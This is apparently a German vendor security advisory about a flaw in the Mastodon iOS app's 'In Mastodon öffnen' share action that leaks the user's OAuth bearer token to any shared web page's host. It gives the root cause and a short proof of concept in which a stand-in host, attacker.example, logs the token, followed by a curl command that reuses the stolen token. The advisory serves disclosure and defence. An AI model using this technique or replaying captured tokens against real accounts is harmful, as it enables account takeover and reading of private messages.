Mastodon iOS: OAuth-Token-Abfluss an einen fremden Host über die Teilen-Aktion

Wer ein Opfer dazu bringt, eine präparierte Webseite über die Teilen-Aktion "In Mastodon öffnen" zu teilen, findet den OAuth-Bearer-Token des angemeldeten Kontos im eigenen Server-Log und hat damit vollen API-Zugriff auf dieses Konto.

Advisory-ID: TP-2026-062
Produkt: Mastodon iOS (offizieller iOS-Client für das föderierte soziale Netzwerk Mastodon)
Schwachstellentyp: Offenlegung sensibler Informationen gegenüber einem unbefugten Akteur (CWE-200)
CVE: pending
CVSS 3.1: 7.1 (Hoch) · CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Hersteller-Advisory: GHSA-cx82-g79r-6v6w
Betroffene Versionen: >= 2024.5 bis einschließlich 2026.06
Behoben in: 2026.07
Gemeldet: 30. Juli 2026

Zusammenfassung

Mastodon iOS ist der offizielle Client für das föderierte soziale Netzwerk Mastodon. Die Teilen-Aktion "In Mastodon öffnen" versucht eine geteilte URL zunächst über die V2-Suche der eigenen Instanz als Profil, Beitrag oder Hashtag aufzulösen. Scheitert das, fragt ein Fallback den Host der geteilten URL selbst ab, ob dort ein Mastodon-Server läuft, und hängt an diese Anfrage den OAuth-Bearer-Token des angemeldeten Kontos. Gewöhnliche Webseiten lösen nie als Mastodon-Objekt auf, der Fallback greift also bei jeder normalen Seite. Ein Angreifer, der ein Opfer zu dieser Teilen-Aktion auf seiner eigenen Seite bewegt, liest den Token aus seinem Server-Log und erhält damit vollen API-Zugriff auf das Konto.

Ursache

Die Fallback-Suche continueWithSearch(_:) entnimmt den Host der geteilten URL (OpenInActionExtension/ActionRequestHandler.swift:110-111) und übergibt ihn als domain: gemeinsam mit authorization: activeAuthenticationBox.userAuthorization an den Instanz-Aufruf (:118-124), den MastodonSDK/Sources/MastodonSDK/API/Mastodon+API.swift:235-239 in einen Authorization: Bearer-Header für genau diese fremde URL umsetzt. Erreicht wird dieser Zweig über den Fallback in :96-98, den die App immer dann nimmt, wenn die V2-Suche der eigenen Instanz die geteilte URL weder als Konto noch als Beitrag noch als Hashtag auflöst, also bei jeder gewöhnlichen Webseite. Eine Herkunftsprüfung fehlt an dieser Stelle, obwohl das richtige Muster zweimal im selben Baum steht: der Schwesteraufruf eine Funktion darüber sendet an die eigene Instanz activeAuthenticationBox.domain (:73-76), und dieselbe Anfrage ist in MastodonSDK/Sources/MastodonCore/Service/InstanceService.swift:24 durch authBox.domain == domain abgesichert. Die einzige Prüfung, ob der angefragte Host überhaupt ein Mastodon-Server ist, steht als guard response.value.version != nil im Antwort-Handler (:129) und greift erst, nachdem der Token bereits auf der Leitung war. Eingeführt wurde der Fehler am 8. Mai 2024 mit Commit be962f15d0e4, der den Parameter authorization: an eine Aufrufstelle hängte, deren domain schon vorher von außen bestimmt war; davor lief dieselbe Anfrage ohne Zugangsdaten.

Proof of Concept

# 1. Angreifer betreibt eine gewöhnliche Webseite unter https://attacker.example/
#    und protokolliert alle eingehenden Anfragen.

# 2. Opfer öffnet die Seite in Safari, Teilen-Menü, Aktion "In Mastodon öffnen".

# 3. Die App fragt zuerst die eigene Instanz (kein Treffer):
GET https://heim.instanz/api/v2/search?q=https%3A%2F%2Fattacker.example%2F&resolve=true

# 4. Fallback auf den Host der geteilten URL, mit Token:
GET https://attacker.example/api/v1/instance
Authorization: Bearer <OAuth-Token des angemeldeten Kontos>

# 5. Angreifer nutzt den mitgeschriebenen Token gegen die Heiminstanz des Opfers:
curl -H "Authorization: Bearer <Token>" https://heim.instanz/api/v1/accounts/verify_credentials

Der Fallback greift, weil eine normale Webseite von der V2-Suche der Heiminstanz nicht als Konto, Beitrag oder Hashtag aufgelöst wird. Die Prüfung, ob unter dem fremden Host überhaupt ein Mastodon-Server läuft, findet erst in der Antwortverarbeitung statt, der Token ist zu diesem Zeitpunkt bereits gesendet.

Auswirkung

  • Voller API-Zugriff auf das Konto des Opfers: Beiträge lesen und veröffentlichen, Direktnachrichten lesen, Folgebeziehungen und Kontoeinstellungen ändern.
  • Der Abfluss ist für das Opfer unsichtbar; auf dem Gerät ist nur die gewohnte Teilen-Aktion zu sehen.
  • Jede frühere Nutzung der Aktion auf einer gewöhnlichen Webseite hat den Token bereits an deren Betreiber gesendet.
  • Mastodon-Zugangstoken laufen nicht von selbst ab, ein einmal abgeflossener Token bleibt bis zum ausdrücklichen Entzug in der Kontoverwaltung gültig.

Referenzen

Steckt so etwas in Ihrer Software?

Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.